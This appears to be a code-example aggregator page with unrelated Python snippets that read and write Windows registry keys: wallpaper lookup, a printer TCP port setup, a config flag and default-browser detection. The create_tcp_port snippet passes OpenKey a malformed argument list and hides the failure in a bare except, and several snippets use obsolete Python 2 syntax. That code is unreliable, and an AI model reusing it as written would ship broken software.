            wallpaper_path = QueryValueEx(key, 'Wallpaper')[0]
            LOGGER.debug('keyval: ' + str(wallpaper_path))
            if wallpaper_path.count('%') > 1:
                index_start = wallpaper_path.find('%')
                index_end = wallpaper_path.find('%', index_start + 1)
                env = wallpaper_path[index_start + 1:index_end]
                end = wallpaper_path[index_end + 2:]
                wallpaper_path = os.path.join(os.getenv(env), end)
            LOGGER.debug('keyval2: ' + str(wallpaper_path))
            if (wallpaper_path) and len(wallpaper_path):
                wallpaper = wallpaper_path
    except (ValueError, IOError, OSError) as excp:
        LOGGER.exception('get_current_wallpaper exception: {0!s}'.format(excp))
    if key is not None:
        CloseKey(key)
    return wallpaper
Exemple #27
0
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
    aReg = ConnectRegistry(None, root)

    try:
        aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
        SetValueEx(aKey, regPath, 0, REG_DWORD, value)
        CloseKey(aKey)
    except Exception, e:
        return False, e
Exemple #28
0
 def create_tcp_port(self, port_name, ip_address, port=9100):
     base_path = (r'SYSTEM\ControlSet001\Control'
                  r'\Print\Monitors\Standard TCP/IP Port\Ports')
     reg_key = OpenKey(HKEY_LOCAL_MACHINE, base_path, 0, KEY_ALL_ACCESS)
     try:
         _ = QueryValueEx(reg_key, 'StatusUpdateEnabled')[0]  # noqa
     except WindowsError:
         SetValueEx(reg_key, 'StatusUpdateEnabled', 0, REG_DWORD, 1)
     try:
         _ = QueryValueEx(reg_key, 'StatusUpdateInterval')[0]  # noqa
     except WindowsError:
         SetValueEx(reg_key, 'StatusUpdateInterval', 0, REG_DWORD, 10)
     CloseKey(reg_key)
     try:
         _ = OpenKey(HKEY_LOCAL_MACHINE,
                     r'{base}\{port}'.format(base=base_path,
                                             port=port_name), 0,
                     KEY_ALL_ACCESS)  # noqa
         print "There is already a port named :" + port_name
         return False
     except WindowsError:
         try:
             reg_key = OpenKey(HKEY_LOCAL_MACHINE, base_path, 0,
                               KEY_ALL_ACCESS)
             CreateKey(reg_key, port_name)
             CloseKey(reg_key)
             reg_key = OpenKey(
                 HKEY_LOCAL_MACHINE, base_path + '\\' + port_name,
                 r'{base}\{port}'.format(base=base_path,
                                         port=port_name), 0, KEY_ALL_ACCESS)
             SetValueEx(reg_key, 'Protocol', 0, REG_DWORD, 1)
             SetValueEx(reg_key, 'Version', 0, REG_DWORD, 1)
             SetValueEx(reg_key, 'HostName', 0, REG_SZ, '')
             SetValueEx(reg_key, 'IPAddress', 0, REG_SZ, ip_address)
             SetValueEx(reg_key, 'HWAddress', 0, REG_SZ, '')
             SetValueEx(reg_key, 'PortNumber', 0, REG_DWORD, port)
             SetValueEx(reg_key, 'SNMP Community', 0, REG_SZ, 'public')
             SetValueEx(reg_key, 'SNMP Enabled', 0, REG_DWORD, 1)
             SetValueEx(reg_key, 'SNMP Index', 0, REG_DWORD, 1)
             result = self.__restart_win_service('Spooler')
             return result
         except Exception:  # noqa
             return False
 def clean_flag(self):
     self.logger.debug("Setting registry key to 'no' %s %s" % (self.config.flag[0], self.config.flag[1]))
     self.checked_flag = False
     try:
         key = OpenKey(HKEY_LOCAL_MACHINE, self.config.flag[0], 0, KEY_SET_VALUE)
         SetValueEx(key, self.config.flag[1], 0, REG_SZ, "no")
         CloseKey(key)
         self.logger.debug("Registry key value set")
     except Exception, e:
         self.logger.error("Can't change registry key value: %s", str(e))
Exemple #30
0
def default_browser_command():
    if sys.platform.startswith('win'):
        if six.PY2:
            from _winreg import (
                CloseKey,
                ConnectRegistry,
                HKEY_CLASSES_ROOT,  # pylint: disable=import-error
                HKEY_CURRENT_USER,
                OpenKey,
                QueryValueEx)
        else:
            from winreg import (
                CloseKey,
                ConnectRegistry,
                HKEY_CLASSES_ROOT,  # pylint: disable=import-error
                HKEY_CURRENT_USER,
                OpenKey,
                QueryValueEx)
        '''
        Tries to get default browser command, returns either a space delimited
        command string with '%1' as URL placeholder, or empty string.
        '''
        browser_class = 'Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\https\\UserChoice'
        try:
            reg = ConnectRegistry(None, HKEY_CURRENT_USER)
            key = OpenKey(reg, browser_class)
            value, t = QueryValueEx(key, 'ProgId')
            CloseKey(key)
            CloseKey(reg)
            reg = ConnectRegistry(None, HKEY_CLASSES_ROOT)
            key = OpenKey(reg, '%s\\shell\\open\\command' % value)
            path, t = QueryValueEx(key, None)
        except WindowsError:
            # logger.warn(e)
            traceback.print_exc()
            return ''
        finally:
            CloseKey(key)
            CloseKey(reg)
        return path
    else:
        printer.out("default_browser_command: Not implemented for OS")